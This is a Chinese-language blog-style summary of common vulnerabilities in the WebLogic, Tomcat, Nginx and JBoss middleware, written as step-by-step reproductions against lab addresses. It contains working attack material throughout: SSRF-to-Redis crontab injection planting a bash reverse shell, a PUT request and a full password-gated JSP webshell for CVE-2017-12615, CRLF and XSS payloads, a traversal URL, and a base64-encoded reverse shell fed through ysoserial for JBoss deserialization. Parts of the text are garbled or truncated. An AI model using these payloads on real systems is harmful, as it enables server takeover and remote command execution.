常见中间件漏洞总结


1. Weblogic常见漏洞
2. Tomcat常见漏洞
3. Nginx常见漏洞
4. JBOSS常见漏洞


中间件简介
中间件是一种独立的系统软件或服务程序,分布式应用软件借助这种
软件在不同的技术之间共享资源。中间件位于客户机/ 服务器的操作系统
之上,管理计算机资源和网络通讯。是连接两个独立应用程序或独立系统
的软件。相连接的系统,即使它们具有不同的接口,但通过中间件相互之
间仍能交换信息。执行中间件的一个关键途径是信息传递。通过中间件,
应用程序可以工作于多平台或OS环境。
1.一般本地开发的话,小项目,或者是个人开发建议使用tomcat。
2.linux系统建议使用jetty或apache hpptd
3.大型的项目就用JBOSS或webloigc
4.大项目或者商业项目一般采用:weblgoic/webshere,其他的还有jboss、
glasshfish等
5.一些示例项目或者小项目常采用jetty
6.tomcat , jboss, weblogic, nginx,websphere为常见中间件。
Weblogic 常见漏洞
WebLogic常用端口7001/7002,常见漏洞有弱口令导致上传任意war包、SSRF
漏洞、任意文件上传和反序列化漏洞。
默认访问路径:http://your-ip:port/console/login/LoginForm.jsp
weblogic反序列化漏洞
基于Weblogic t3协议引起远程代码执行的反序列化漏洞全家福:
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
基于wls-wsat服务组件的引起远程代码执行的反序列化漏洞:
CVE-2017-3506
CVE-2017-10271
任意文件上传漏洞:
CVE-2018-2894
wls-wsat XMLDecoder  反序列化漏洞(CVE-2017-10271) )
Weblogic的WLS Security组件对外提供webservice服务,其中使
用了XMLDecoder来解析用户传入的XML数据,在解析的过程中
出现反序列化漏洞,导致可执行任意命令。
影响范围:
Oracle WebLogic Server 10.3.6.0.0版本
Oracle WebLogic Server 12.1.3.0.0版本
Oracle WebLogic Server 12.2.1.1.0版本
1、访问http://172.16.222.142:7001/即可看到一个404页面,说
明weblogic已成功启动。
2、访问: http://172.16.222.142:7001/wls-wsat/CoordinatorPortT
ype,抓包,写入shell。
访问: http://172.16.222.142:7001/bea_wls_internal/test.jsp
工具:weblogic XML反序列化检查工具
weblogic_wls_wsat_exp_win.py
命令: python .\weblogic_wls_ws
at_exp_win.py -t 172.16.222.142:7001 -c ifconfig
'wls-wsat' XMLDecoder  反序列化漏洞(CVE-2017-10271) )
POST /wls-wsat/CoordinatorPortTypeHTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638





servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp<
/string>

<% out.print("test"); %>
]]>
Weblogic Web Service Test Page中两处任意文件上传漏洞,两个页面分别为
/ws_utc/begin.do,/ws_utc/config.do
Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限
制.
漏洞的影响范围 Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.2,
12.2.1.3
漏洞复现:(1)http://172.16.222.142:7001/ws_utc/config.do
设置Work Home Dir为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp
/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限。
(2)然后点击安全 -> 增加,然后上传webshell。
上传后,查看返回的数据包,其中有时间戳
然后访问http:// 172.16.222.142:7001 /ws_utc/css/config/keystore/[时间戳]_[文件名],
即可执行webshell
Weblogic  任意文件上传漏洞(CVE-2018-2894) )
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP
请求,进而攻击内网中redis、fastcgi等脆弱组件。
漏洞版本:10.0.2, 10.3.6
(1)SSRF漏洞存在于
http://172.16.222.64:7001/uddiexplorer/SearchPublicRegistries.jsp。
访问: http://your-
ip:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&
txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business
+location&btnSubmit=Search&operator=http://127.0.0.1:7001
通过operator可进行内网端口探测。
可访问的端口将会得到错误,一般是返回status code(如下
图),如果访问的非http协议,则会返回did not have a valid
SOAP content-type
如果不存在,返回:
Weblogic SSRF服务器端请求伪造CVE-2014-
4210
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过
传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也
就说我们可以通过该SSRF攻击内网中的redis服务器。
(1)首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发
现172.18.0.2:6379可以连通。
(2)
发送三条redis命令,将shell脚本写入/etc/crontab:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
Save
进行URL编码,换行符是“\r\n”,也就是“%0D%0A”。放在服务器后边即可。
/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20ro
ot%20bash%20-
i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn
%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20c
rontab%0D%0Asave%0D%0A%0D%0Aaaa
Weblogic SSRF getshell
Weblogic SSRF
Ubuntu服务器反弹shell:sudonc -l –p 21
常见攻击方法:
1、默认口令、弱口令,爆破,tomcat5 默认有两个角色:tomcat和role1。
其中账号both、tomcat、role1的默认密码都是tomcat。
2、在管理后台部署 war 后门文件
3、远程代码执行漏洞
默认访问路径:http://localhost:8080
Tomcat 简介
访问http://172.16.222.64:8080即可看到Tomcat的Example页面。
(conf/web.xml配置readonly属性,将默认参数true改为false
(Tomcat默认开启put方法,可采用nmap和options方法测试是否开启put方法):
漏洞影响的tomcat版本为tomcat7.0.0-7.0.81版本
Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)
访问http://172.16.222.64:8080即可看到Tomcat的Example页面。
(conf/web.xml配置readonly属性,将默认参数true改为false
(Tomcat默认开启put方法,可采用nmap和options方法测试是否开启put方法)
Tomcat对文件后缀有一定检测(不能直接写jsp),
我们使用一些文件系统的特性(如Linux下可用/)来绕过了限制
直接发送以下数据包即可在Web根目录写入shell:
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell
Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)
Getshell脚本
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public
static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro =
Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new
InputStreamReader(pro.getInputStream()));String temp = null;while ((temp =
buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();} catch (Exception e)
{line.append(e.getMessage());}return
line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.get
Parameter("cmd"))){out.println("
"+excuteCmd(request.getParameter("cmd"))+"
"
);}else{out.println(":-)");}%>
访问:http://172.16.222.64:8080/2.jsp 命令执行?pwd=023&cmd=whoami
Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)
Nginx越界读取缓存漏洞(CVE-2017-7529)
Nginx在反向代理站点(反向代理(Reverse Proxy)方式是指以代理服务器来接受
Internet上的连接请求,然后将请求转发给内部网络上的服务器)的时候,通常会将一
些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括
“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,
则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。
影响版本:Nginx 0.5.6 – 1.13.2
如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度
的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读
取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件
中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
调用python3 poc.py http://your-ip:8080/,读取返回结果,发现越界读取到了位于
“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容
Nginx解析漏洞nginx_parsing_vulnerability
Nginx 解析漏洞。
Nginx 1.x 最新版,PHP 7.x最新版,该漏洞与Nginx、php版本无关,属于用户配置不当
造成的解析漏洞
1.访问http://172.16.222.64/uploadfiles/nginx.png和http://172.16.222.64/uploadfiles/ngin
x.png/.php即可查看效果。
增加/.php后缀,被解析成PHP文件
如果开启了fix_pathinfo这个选项,那么就会触发在PHP中的如下逻辑。
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.j
pg作为PHP文件来解析了
2。访问http://172.16.222.64/index.php测试上传功能,上传代码不存在漏洞,但利用
解析漏洞即可getshell。
Nginx配置错误导致漏洞
Nginx CRLF注入。
Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。
错误的配置文件示例(原本的目的是为了让http的请求跳转到https上):
location / {
return 302 https://$host$uri;
}
会话定置: http://172.16.222.64:8080/%0a%0dSet-Cookie:%20a=1,可注入Set-Cookie头,
反射性XSS:/%0D%0A%0D%0A%3Cimg%20src=1%20οnerrοr=alert(/xss/)%3E
Nginx配置错误导致漏洞
Nginx目录穿越漏洞。
Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。
错误的配置文件示例:
location /files /{
alias /home/;
}
Payload: http://172.16.222.64:8081/files../ ,成功穿越到根目录:
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
该漏洞为 Java反序列化错误类型,存在于 Jboss的 HttpInvoker组件中的
ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来
自客户端的数据流进行反序列化,从而导致漏洞。初始化完成后访问
http://172.16.222.64:8080/即可看到JBoss默认页面。漏洞出现在/invoker/readonly请求
中,服务器将用户提交的POST内容进行了Java反序列化。
编写反弹shell的命令 :bash –i>& /dev/tcp/10.0.0.1/21 0>&1
我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等
bash需要的方法,我们需要用进行一次编码。
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-
d}|{bash,-i}
工具:http://jackson.thuraisamy.me/runtime-exec-payloads.html
使用ysoserial来复现生成序列化数据,生成好的POC即为poc.ser。
java -jar ysoserial.jar CommonsCollections5 "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" >
poc.ser
将这个文件作为POST Body发送至/invoker/readonly即可反弹shell。
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
 

你可能感兴趣的:(常见中间件漏洞总结)